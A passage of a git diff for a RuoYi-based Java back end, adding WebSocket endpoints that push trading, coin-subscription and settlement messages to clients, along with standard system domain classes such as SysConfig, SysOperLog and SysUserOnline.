if(StringUtils.isNotBlank(userId) && webSocketMap.containsKey(userId)){ + webSocketMap.get(userId).sendMessage(message); + } + } + + /** + *发送自定 + *义消息 + **/ + public static void sendInfoAll(ITWithdrawService withdrawService, Integer code) { + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + throw new RuntimeException(e); + } + for (String s : webSocketMap.keySet()) { + webSocketMap.get(s).sendMessage(JSON.toJSONString(withdrawService.sendMessage(code,s))); + } + } + /** + * 获得此时的 + * 在线人数 + * @return + */ + public static synchronized int getOnlineCount() { + return onlineCount; + } + + /** + * 在线人 + * 数加1 + */ + public static synchronized void addOnlineCount() { + WebSocketNotice.onlineCount++; + } + + /** + * 在线人 + * 数减1 + */ + public static synchronized void subOnlineCount() { + WebSocketNotice.onlineCount--; + } + +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketServers.java b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketServers.java new file mode 100644 index 0000000..a34b371 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketServers.java @@ -0,0 +1,196 @@ +package com.ruoyi.socket.socketserver; + + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.socket.dto.SocketDto; +import com.ruoyi.socket.dto.WsSubBO; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.stereotype.Component; + +import javax.websocket.*; +import javax.websocket.server.PathParam; +import javax.websocket.server.ServerEndpoint; +import java.io.IOException; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; + +/** + * websocket的处理类。 + * 作用相当于HTTP请求 + * 中的controller + */ +@Component +@Slf4j +@ServerEndpoint("/ws/{userId}") +public class WebSocketServers { + //websocket 存储订阅对象 key 为 订阅类型。DETAIL TRADE KLINE List为订阅对象Id 取消时候delete + public static ConcurrentHashMap> detailMap = new ConcurrentHashMap<>(); + public static ConcurrentHashMap> tradeMap = new ConcurrentHashMap<>(); + public static ConcurrentHashMap> klineMap = new ConcurrentHashMap<>(); + /**静态变量,用来记录当前在线连接数。应该把它设计成线程安全的。*/ + private static int onlineCount = 0; + /**concurrent包的线程安全Set,用来存放每个客户端对应的WebSocket对象。*/ + public static ConcurrentHashMap webSocketMap = new ConcurrentHashMap<>(); + /**与某个客户端的连接会话,需要通过它来给客户端发送数据*/ + private Session session; + /**接收userId*/ + private String userId = ""; + private static WebSocketUserManager webSocketUserManager; + private static RedisCache redisCache; + public void setWebSocketServers(RedisCache redisCache,WebSocketUserManager webSocketUserManager){ + //把spring注入的类放到 ws中 + this.redisCache = redisCache; + this.webSocketUserManager = webSocketUserManager; + } + + /** + * 连接建立成 + * 功调用的方法 + */ + @OnOpen + public void onOpen(Session session,@PathParam("userId") String userId) { + this.session = session; + this.userId=userId; + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //加入set中 + webSocketMap.put(userId,this); + }else{ + //加入set中 + webSocketMap.put(userId,this); + //在线数加1 + addOnlineCount(); + } + log.debug("用户连接:"+userId+",当前在线人数为:" + getOnlineCount()); + SocketDto socketDto = new SocketDto(); + socketDto.setType("0"); + socketDto.setMessage("连接成功"); + sendMessage(JSONObject.toJSONString(socketDto)); + } + + /** + * 连接关闭 + * 调用的方法 + */ + @OnClose + public void onClose() { + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //从set中删除 + subOnlineCount(); + redisCache.deleteObject(this.userId); + //DETAIL TRADE KLINE + List detail = detailMap.get("DETAIL"); + detail.remove(userId); + detailMap.put("DETAIL",detail); + for (Map.Entry> entry : klineMap.entrySet()) { + List value = entry.getValue(); + value.remove(userId); + } + for (Map.Entry> entry : tradeMap.entrySet()) { + + List value = entry.getValue(); + value.remove(userId); + } + } + log.debug("用户退出:"+userId+",当前在线人数为:" + getOnlineCount()); + } + + /** + * 收到客户端消 + * 息后调用的方法 + * @param message + * 客户端发送过来的消息 + **/ + @OnMessage + public void onMessage(String message, Session session) { + /* message= message.replace("\"",""); + */ + + //可以群发消息 + //消息保存到数据库、redis + if(StringUtils.isNotBlank(message)&&!message.equals("heartbeat")){ + try { + //解析发送的报文 + JSONObject jsonObject = JSON.parseObject(message); + //消息订阅 + WsSubBO wsSubBo = jsonObject.toJavaObject(WsSubBO.class); + wsSubBo.setUserId(userId); + webSocketUserManager.subscribeMsg(wsSubBo); + }catch (Exception e){ + e.printStackTrace(); + } + } + } + + + /** + * @param session + * @param error + */ + @OnError + public void onError(Session session, Throwable error) { + //推出后要遍历redis 订阅的所有信息 + log.error("用户错误:"+this.userId+",原因:"+error.getMessage()); + error.printStackTrace(); + } + + /** + * 实现服务 + * 器主动推送 + */ + public synchronized void sendMessage(String message) { + try { + if(session==null){ + return; + } + this.session.getBasicRemote().sendText(message); + } catch (IOException e) { + e.printStackTrace(); + } + } + + /** + *发送自定 + *义消息 + **/ + public static void sendInfo(String message, String userId) { + if(StringUtils.isNotBlank(userId) && webSocketMap.containsKey(userId)){ + webSocketMap.get(userId).sendMessage(message); + } + } + + /** + * 获得此时的 + * 在线人数 + * @return + */ + public static synchronized int getOnlineCount() { + return onlineCount; + } + + /** + * 在线人 + * 数加1 + */ + public static synchronized void addOnlineCount() { + WebSocketServers.onlineCount++; + } + + /** + * 在线人 + * 数减1 + */ + public static synchronized void subOnlineCount() { + WebSocketServers.onlineCount--; + } + +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketSubCoins.java b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketSubCoins.java new file mode 100644 index 0000000..afe1d70 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketSubCoins.java @@ -0,0 +1,177 @@ +package com.ruoyi.socket.socketserver; + +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.socket.constants.SocketTypeConstants; +import com.ruoyi.socket.dto.MessageVo; +import com.ruoyi.socket.dto.SocketDto; +import com.ruoyi.socket.dto.SocketMessageVo; +import com.ruoyi.socket.dto.WsCoinSubVO; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.beans.BeanUtils; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.websocket.*; +import javax.websocket.server.PathParam; +import javax.websocket.server.ServerEndpoint; +import java.io.IOException; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +/** + * 新币订阅消息推送 + * + * @author HH + * @date 2023/10/10 + */ +@Component +@Slf4j +@ServerEndpoint("/ws/coin/{userId}") +public class WebSocketSubCoins { + + /** + * concurrent包的线程安全Set,用来存放每个客户端对应的WebSocket对象。 + */ + public static ConcurrentHashMap webSocketMap = new ConcurrentHashMap<>(); + /** + * 与某个客户端的连接会话,需要通过它来给客户端发送数据 + */ + private Session session; + /** + * 接收userId + */ + private String userId = ""; + + private static RedisCache redisCache; + private static ITOwnCoinService tOwnCoinService; + + public void setWebSocketServers(RedisCache redisCache, ITOwnCoinService tOwnCoinService) { + //把spring注入的类放到 ws中 + this.redisCache = redisCache; + this.tOwnCoinService = tOwnCoinService; + } + + /** + * 连接建立成 + * 功调用的方法 + */ + @OnOpen + public void onOpen(Session session, @PathParam("userId") String userId) throws IOException { + this.session = session; + this.userId = userId; + if (webSocketMap.containsKey(userId)) { + webSocketMap.remove(userId); + webSocketMap.put(userId, this); + } else { + webSocketMap.put(userId, this); + } + SocketDto socketDto = new SocketDto(); + socketDto.setType("0"); + socketDto.setMessage("连接成功"); + sendMessage(JSONObject.toJSONString(socketDto)); + } + + /** + * 收到客户端消 + * 息后调用的方法 + * + * @param message 客户端发送过来的消息 + **/ + @OnMessage + public void onMessage(String message, Session session) { + } + + /** + * 连接关闭 + * 调用的方法 + */ + @OnClose + public void onClose() { + if (webSocketMap.containsKey(userId)) { + webSocketMap.remove(userId); + redisCache.deleteObject(this.userId); + } + } + + /** + * @param session + * @param error + */ + @OnError + public void onError(Session session, Throwable error) { + //推出后要遍历redis 订阅的所有信息 + log.error("用户错误:" + this.userId + ",原因:" + error.getMessage()); + error.printStackTrace(); + } + + /** + * 实现服务 + * 器主动推送 + */ + public synchronized void sendMessage(String message) { + try { + if (session == null) { + return; + } + this.session.getBasicRemote().sendText(message); + } catch (IOException e) { + e.printStackTrace(); + } + } + + + public void sendUserFreeze(String userId) { + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.USER_STATUS); + MessageVo messageVo = new MessageVo(); + messageVo.setMessage(SocketTypeConstants.USER_STATUS); + messageVo.setCode("1"); + socketMessageVo.setDate(messageVo); + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + if (webSocketMap.containsKey(userId)){ + webSocketMap.get(userId).sendMessage(jsonStr); + } + } + + + public void sendInfoAll(Integer code) { + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.SETTLEMENT); + MessageVo messageVo = new MessageVo(); + messageVo.setCode("1"); + Map map = new HashMap<>(); + map.put("type",code); + for (String s : webSocketMap.keySet()) { + messageVo.setMessage(com.alibaba.fastjson2.JSON.toJSONString(map)); + socketMessageVo.setDate(messageVo); + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + webSocketMap.get(s).sendMessage(jsonStr); + } + } + + public void sendInfo(Integer code) { + Map map = new HashMap<>(); + map.put("position",code); + + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.POSITION); + MessageVo messageVo = new MessageVo(); + messageVo.setCode("1"); + for (String s : webSocketMap.keySet()) { + messageVo.setMessage(JSON.toJSONString(map)); + socketMessageVo.setDate(messageVo); + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + webSocketMap.get(s).sendMessage(jsonStr); + } + } +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysCache.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysCache.java new file mode 100644 index 0000000..83f0703 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysCache.java @@ -0,0 +1,81 @@ +package com.ruoyi.system.domain; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 缓存信息 + * + * @author ruoyi + */ +public class SysCache +{ + /** 缓存名称 */ + private String cacheName = ""; + + /** 缓存键名 */ + private String cacheKey = ""; + + /** 缓存内容 */ + private String cacheValue = ""; + + /** 备注 */ + private String remark = ""; + + public SysCache() + { + + } + + public SysCache(String cacheName, String remark) + { + this.cacheName = cacheName; + this.remark = remark; + } + + public SysCache(String cacheName, String cacheKey, String cacheValue) + { + this.cacheName = StringUtils.replace(cacheName, ":", ""); + this.cacheKey = StringUtils.replace(cacheKey, cacheName, ""); + this.cacheValue = cacheValue; + } + + public String getCacheName() + { + return cacheName; + } + + public void setCacheName(String cacheName) + { + this.cacheName = cacheName; + } + + public String getCacheKey() + { + return cacheKey; + } + + public void setCacheKey(String cacheKey) + { + this.cacheKey = cacheKey; + } + + public String getCacheValue() + { + return cacheValue; + } + + public void setCacheValue(String cacheValue) + { + this.cacheValue = cacheValue; + } + + public String getRemark() + { + return remark; + } + + public void setRemark(String remark) + { + this.remark = remark; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysConfig.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysConfig.java new file mode 100644 index 0000000..c54678c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysConfig.java @@ -0,0 +1,111 @@ +package com.ruoyi.system.domain; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 参数配置表 sys_config + * + * @author ruoyi + */ +public class SysConfig extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 参数主键 */ + @Excel(name = "参数主键", cellType = ColumnType.NUMERIC) + private Long configId; + + /** 参数名称 */ + @Excel(name = "参数名称") + private String configName; + + /** 参数键名 */ + @Excel(name = "参数键名") + private String configKey; + + /** 参数键值 */ + @Excel(name = "参数键值") + private String configValue; + + /** 系统内置(Y是 N否) */ + @Excel(name = "系统内置", readConverterExp = "Y=是,N=否") + private String configType; + + public Long getConfigId() + { + return configId; + } + + public void setConfigId(Long configId) + { + this.configId = configId; + } + + @NotBlank(message = "参数名称不能为空") + @Size(min = 0, max = 100, message = "参数名称不能超过100个字符") + public String getConfigName() + { + return configName; + } + + public void setConfigName(String configName) + { + this.configName = configName; + } + + @NotBlank(message = "参数键名长度不能为空") + @Size(min = 0, max = 100, message = "参数键名长度不能超过100个字符") + public String getConfigKey() + { + return configKey; + } + + public void setConfigKey(String configKey) + { + this.configKey = configKey; + } + + @NotBlank(message = "参数键值不能为空") + @Size(min = 0, max = 500, message = "参数键值长度不能超过500个字符") + public String getConfigValue() + { + return configValue; + } + + public void setConfigValue(String configValue) + { + this.configValue = configValue; + } + + public String getConfigType() + { + return configType; + } + + public void setConfigType(String configType) + { + this.configType = configType; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("configId", getConfigId()) + .append("configName", getConfigName()) + .append("configKey", getConfigKey()) + .append("configValue", getConfigValue()) + .append("configType", getConfigType()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysLogininfor.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysLogininfor.java new file mode 100644 index 0000000..7fdea30 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysLogininfor.java @@ -0,0 +1,144 @@ +package com.ruoyi.system.domain; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 系统访问记录表 sys_logininfor + * + * @author ruoyi + */ +public class SysLogininfor extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** ID */ + @Excel(name = "序号", cellType = ColumnType.NUMERIC) + private Long infoId; + + /** 用户账号 */ + @Excel(name = "用户账号") + private String userName; + + /** 登录状态 0成功 1失败 */ + @Excel(name = "登录状态", readConverterExp = "0=成功,1=失败") + private String status; + + /** 登录IP地址 */ + @Excel(name = "登录地址") + private String ipaddr; + + /** 登录地点 */ + @Excel(name = "登录地点") + private String loginLocation; + + /** 浏览器类型 */ + @Excel(name = "浏览器") + private String browser; + + /** 操作系统 */ + @Excel(name = "操作系统") + private String os; + + /** 提示消息 */ + @Excel(name = "提示消息") + private String msg; + + /** 访问时间 */ + @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @Excel(name = "访问时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss") + private Date loginTime; + + public Long getInfoId() + { + return infoId; + } + + public void setInfoId(Long infoId) + { + this.infoId = infoId; + } + + public String getUserName() + { + return userName; + } + + public void setUserName(String userName) + { + this.userName = userName; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getIpaddr() + { + return ipaddr; + } + + public void setIpaddr(String ipaddr) + { + this.ipaddr = ipaddr; + } + + public String getLoginLocation() + { + return loginLocation; + } + + public void setLoginLocation(String loginLocation) + { + this.loginLocation = loginLocation; + } + + public String getBrowser() + { + return browser; + } + + public void setBrowser(String browser) + { + this.browser = browser; + } + + public String getOs() + { + return os; + } + + public void setOs(String os) + { + this.os = os; + } + + public String getMsg() + { + return msg; + } + + public void setMsg(String msg) + { + this.msg = msg; + } + + public Date getLoginTime() + { + return loginTime; + } + + public void setLoginTime(Date loginTime) + { + this.loginTime = loginTime; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysNotice.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysNotice.java new file mode 100644 index 0000000..8c07a54 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysNotice.java @@ -0,0 +1,102 @@ +package com.ruoyi.system.domain; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.xss.Xss; + +/** + * 通知公告表 sys_notice + * + * @author ruoyi + */ +public class SysNotice extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 公告ID */ + private Long noticeId; + + /** 公告标题 */ + private String noticeTitle; + + /** 公告类型(1通知 2公告) */ + private String noticeType; + + /** 公告内容 */ + private String noticeContent; + + /** 公告状态(0正常 1关闭) */ + private String status; + + public Long getNoticeId() + { + return noticeId; + } + + public void setNoticeId(Long noticeId) + { + this.noticeId = noticeId; + } + + public void setNoticeTitle(String noticeTitle) + { + this.noticeTitle = noticeTitle; + } + + @Xss(message = "公告标题不能包含脚本字符") + @NotBlank(message = "公告标题不能为空") + @Size(min = 0, max = 50, message = "公告标题不能超过50个字符") + public String getNoticeTitle() + { + return noticeTitle; + } + + public void setNoticeType(String noticeType) + { + this.noticeType = noticeType; + } + + public String getNoticeType() + { + return noticeType; + } + + public void setNoticeContent(String noticeContent) + { + this.noticeContent = noticeContent; + } + + public String getNoticeContent() + { + return noticeContent; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getStatus() + { + return status; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("noticeId", getNoticeId()) + .append("noticeTitle", getNoticeTitle()) + .append("noticeType", getNoticeType()) + .append("noticeContent", getNoticeContent()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysOperLog.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysOperLog.java new file mode 100644 index 0000000..f6761df --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysOperLog.java @@ -0,0 +1,269 @@ +package com.ruoyi.system.domain; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 操作日志记录表 oper_log + * + * @author ruoyi + */ +public class SysOperLog extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 日志主键 */ + @Excel(name = "操作序号", cellType = ColumnType.NUMERIC) + private Long operId; + + /** 操作模块 */ + @Excel(name = "操作模块") + private String title; + + /** 业务类型(0其它 1新增 2修改 3删除) */ + @Excel(name = "业务类型", readConverterExp = "0=其它,1=新增,2=修改,3=删除,4=授权,5=导出,6=导入,7=强退,8=生成代码,9=清空数据") + private Integer businessType; + + /** 业务类型数组 */ + private Integer[] businessTypes; + + /** 请求方法 */ + @Excel(name = "请求方法") + private String method; + + /** 请求方式 */ + @Excel(name = "请求方式") + private String requestMethod; + + /** 操作类别(0其它 1后台用户 2手机端用户) */ + @Excel(name = "操作类别", readConverterExp = "0=其它,1=后台用户,2=手机端用户") + private Integer operatorType; + + /** 操作人员 */ + @Excel(name = "操作人员") + private String operName; + + /** 部门名称 */ + @Excel(name = "部门名称") + private String deptName; + + /** 请求url */ + @Excel(name = "请求地址") + private String operUrl; + + /** 操作地址 */ + @Excel(name = "操作地址") + private String operIp; + + /** 操作地点 */ + @Excel(name = "操作地点") + private String operLocation; + + /** 请求参数 */ + @Excel(name = "请求参数") + private String operParam; + + /** 返回参数 */ + @Excel(name = "返回参数") + private String jsonResult; + + /** 操作状态(0正常 1异常) */ + @Excel(name = "状态", readConverterExp = "0=正常,1=异常") + private Integer status; + + /** 错误消息 */ + @Excel(name = "错误消息") + private String errorMsg; + + /** 操作时间 */ + @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @Excel(name = "操作时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss") + private Date operTime; + + /** 消耗时间 */ + @Excel(name = "消耗时间", suffix = "毫秒") + private Long costTime; + + public Long getOperId() + { + return operId; + } + + public void setOperId(Long operId) + { + this.operId = operId; + } + + public String getTitle() + { + return title; + } + + public void setTitle(String title) + { + this.title = title; + } + + public Integer getBusinessType() + { + return businessType; + } + + public void setBusinessType(Integer businessType) + { + this.businessType = businessType; + } + + public Integer[] getBusinessTypes() + { + return businessTypes; + } + + public void setBusinessTypes(Integer[] businessTypes) + { + this.businessTypes = businessTypes; + } + + public String getMethod() + { + return method; + } + + public void setMethod(String method) + { + this.method = method; + } + + public String getRequestMethod() + { + return requestMethod; + } + + public void setRequestMethod(String requestMethod) + { + this.requestMethod = requestMethod; + } + + public Integer getOperatorType() + { + return operatorType; + } + + public void setOperatorType(Integer operatorType) + { + this.operatorType = operatorType; + } + + public String getOperName() + { + return operName; + } + + public void setOperName(String operName) + { + this.operName = operName; + } + + public String getDeptName() + { + return deptName; + } + + public void setDeptName(String deptName) + { + this.deptName = deptName; + } + + public String getOperUrl() + { + return operUrl; + } + + public void setOperUrl(String operUrl) + { + this.operUrl = operUrl; + } + + public String getOperIp() + { + return operIp; + } + + public void setOperIp(String operIp) + { + this.operIp = operIp; + } + + public String getOperLocation() + { + return operLocation; + } + + public void setOperLocation(String operLocation) + { + this.operLocation = operLocation; + } + + public String getOperParam() + { + return operParam; + } + + public void setOperParam(String operParam) + { + this.operParam = operParam; + } + + public String getJsonResult() + { + return jsonResult; + } + + public void setJsonResult(String jsonResult) + { + this.jsonResult = jsonResult; + } + + public Integer getStatus() + { + return status; + } + + public void setStatus(Integer status) + { + this.status = status; + } + + public String getErrorMsg() + { + return errorMsg; + } + + public void setErrorMsg(String errorMsg) + { + this.errorMsg = errorMsg; + } + + public Date getOperTime() + { + return operTime; + } + + public void setOperTime(Date operTime) + { + this.operTime = operTime; + } + + public Long getCostTime() + { + return costTime; + } + + public void setCostTime(Long costTime) + { + this.costTime = costTime; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysPost.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysPost.java new file mode 100644 index 0000000..820a13b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysPost.java @@ -0,0 +1,124 @@ +package com.ruoyi.system.domain; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 岗位表 sys_post + * + * @author ruoyi + */ +public class SysPost extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 岗位序号 */ + @Excel(name = "岗位序号", cellType = ColumnType.NUMERIC) + private Long postId; + + /** 岗位编码 */ + @Excel(name = "岗位编码") + private String postCode; + + /** 岗位名称 */ + @Excel(name = "岗位名称") + private String postName; + + /** 岗位排序 */ + @Excel(name = "岗位排序") + private Integer postSort; + + /** 状态(0正常 1停用) */ + @Excel(name = "状态", readConverterExp = "0=正常,1=停用") + private String status; + + /** 用户是否存在此岗位标识 默认不存在 */ + private boolean flag = false; + + public Long getPostId() + { + return postId; + } + + public void setPostId(Long postId) + { + this.postId = postId; + } + + @NotBlank(message = "岗位编码不能为空") + @Size(min = 0, max = 64, message = "岗位编码长度不能超过64个字符") + public String getPostCode() + { + return postCode; + } + + public void setPostCode(String postCode) + { + this.postCode = postCode; + } + + @NotBlank(message = "岗位名称不能为空") + @Size(min = 0, max = 50, message = "岗位名称长度不能超过50个字符") + public String getPostName() + { + return postName; + } + + public void setPostName(String postName) + { + this.postName = postName; + } + + @NotNull(message = "显示顺序不能为空") + public Integer getPostSort() + { + return postSort; + } + + public void setPostSort(Integer postSort) + { + this.postSort = postSort; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public boolean isFlag() + { + return flag; + } + + public void setFlag(boolean flag) + { + this.flag = flag; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("postId", getPostId()) + .append("postCode", getPostCode()) + .append("postName", getPostName()) + .append("postSort", getPostSort()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleDept.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleDept.java new file mode 100644 index 0000000..47b21bf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleDept.java @@ -0,0 +1,46 @@ +package com.ruoyi.system.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; + +/** + * 角色和部门关联 sys_role_dept + * + * @author ruoyi + */ +public class SysRoleDept +{ + /** 角色ID */ + private Long roleId; + + /** 部门ID */ + private Long deptId; + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + public Long getDeptId() + { + return deptId; + } + + public void setDeptId(Long deptId) + { + this.deptId = deptId; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("roleId", getRoleId()) + .append("deptId", getDeptId()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleMenu.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleMenu.java new file mode 100644 index 0000000..de10a74 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleMenu.java @@ -0,0 +1,46 @@ +package com.ruoyi.system.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; + +/** + * 角色和菜单关联 sys_role_menu + * + * @author ruoyi + */ +public class SysRoleMenu +{ + /** 角色ID */ + private Long roleId; + + /** 菜单ID */ + private Long menuId; + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + public Long getMenuId() + { + return menuId; + } + + public void setMenuId(Long menuId) + { + this.menuId = menuId; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("roleId", getRoleId()) + .append("menuId", getMenuId()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserOnline.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserOnline.java new file mode 100644 index 0000000..2bbd318 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserOnline.java @@ -0,0 +1,113 @@ +package com.ruoyi.system.domain; + +/** + * 当前在线会话 + * + * @author ruoyi + */ +public class SysUserOnline +{ + /** 会话编号 */ + private String tokenId; + + /** 部门名称 */ + private String deptName; + + /** 用户名称 */ + private String userName; + + /** 登录IP地址 */ + private String ipaddr; + + /** 登录地址 */ + private String loginLocation; + + /** 浏览器类型 */ + private String browser; + + /** 操作系统 */ + private String os; + + /** 登录时间 */ + private Long loginTime; + + public String getTokenId() + { + return tokenId; + } + + public void setTokenId(String tokenId) + { + this.tokenId = tokenId; + } + + public String getDeptName() + { + return deptName; + } + + public void setDeptName(String deptName) + { + this.deptName = deptName; + } + + public String getUserName() + { + return userName; + } + + public void setUserName(String userName) + { + this.userName = userName; + } + + public String getIpaddr() + { + return ipaddr; + } + + public void setIpaddr(String ipaddr) + { + this.ipaddr = ipaddr; + } + + public String getLoginLocation() + { + return loginLocation; + } + + public void setLoginLocation(String loginLocation) + { + this.loginLocation = loginLocation; + } + + public String getBrowser() + { + return browser; + } + + public void setBrowser(String browser) + { + this.browser = browser; + } + + public String getOs() + { + return os; + } + + public void setOs(String os) + { + this.os = os; + } + + public Long getLoginTime() + { + return loginTime; + } + + public void setLoginTime(Long loginTime) + { + this.loginTime = loginTime; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserPost.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserPost.java new file mode 100644 index 0000000..6e8c416 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserPost.java @@ -0,0 +1,46 @@ +package com.ruoyi.system.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; + +/** + * 用户和岗位关联 sys_user_post + * + * @author ruoyi + */ +public class SysUserPost +{ + /** 用户ID */ + private Long userId; + + /** 岗位ID */ + private Long postId; + + public Long getUserId() + { + return userId; + } + + public void setUserId(Long userId) + { + this.userId = userId; + } + + public 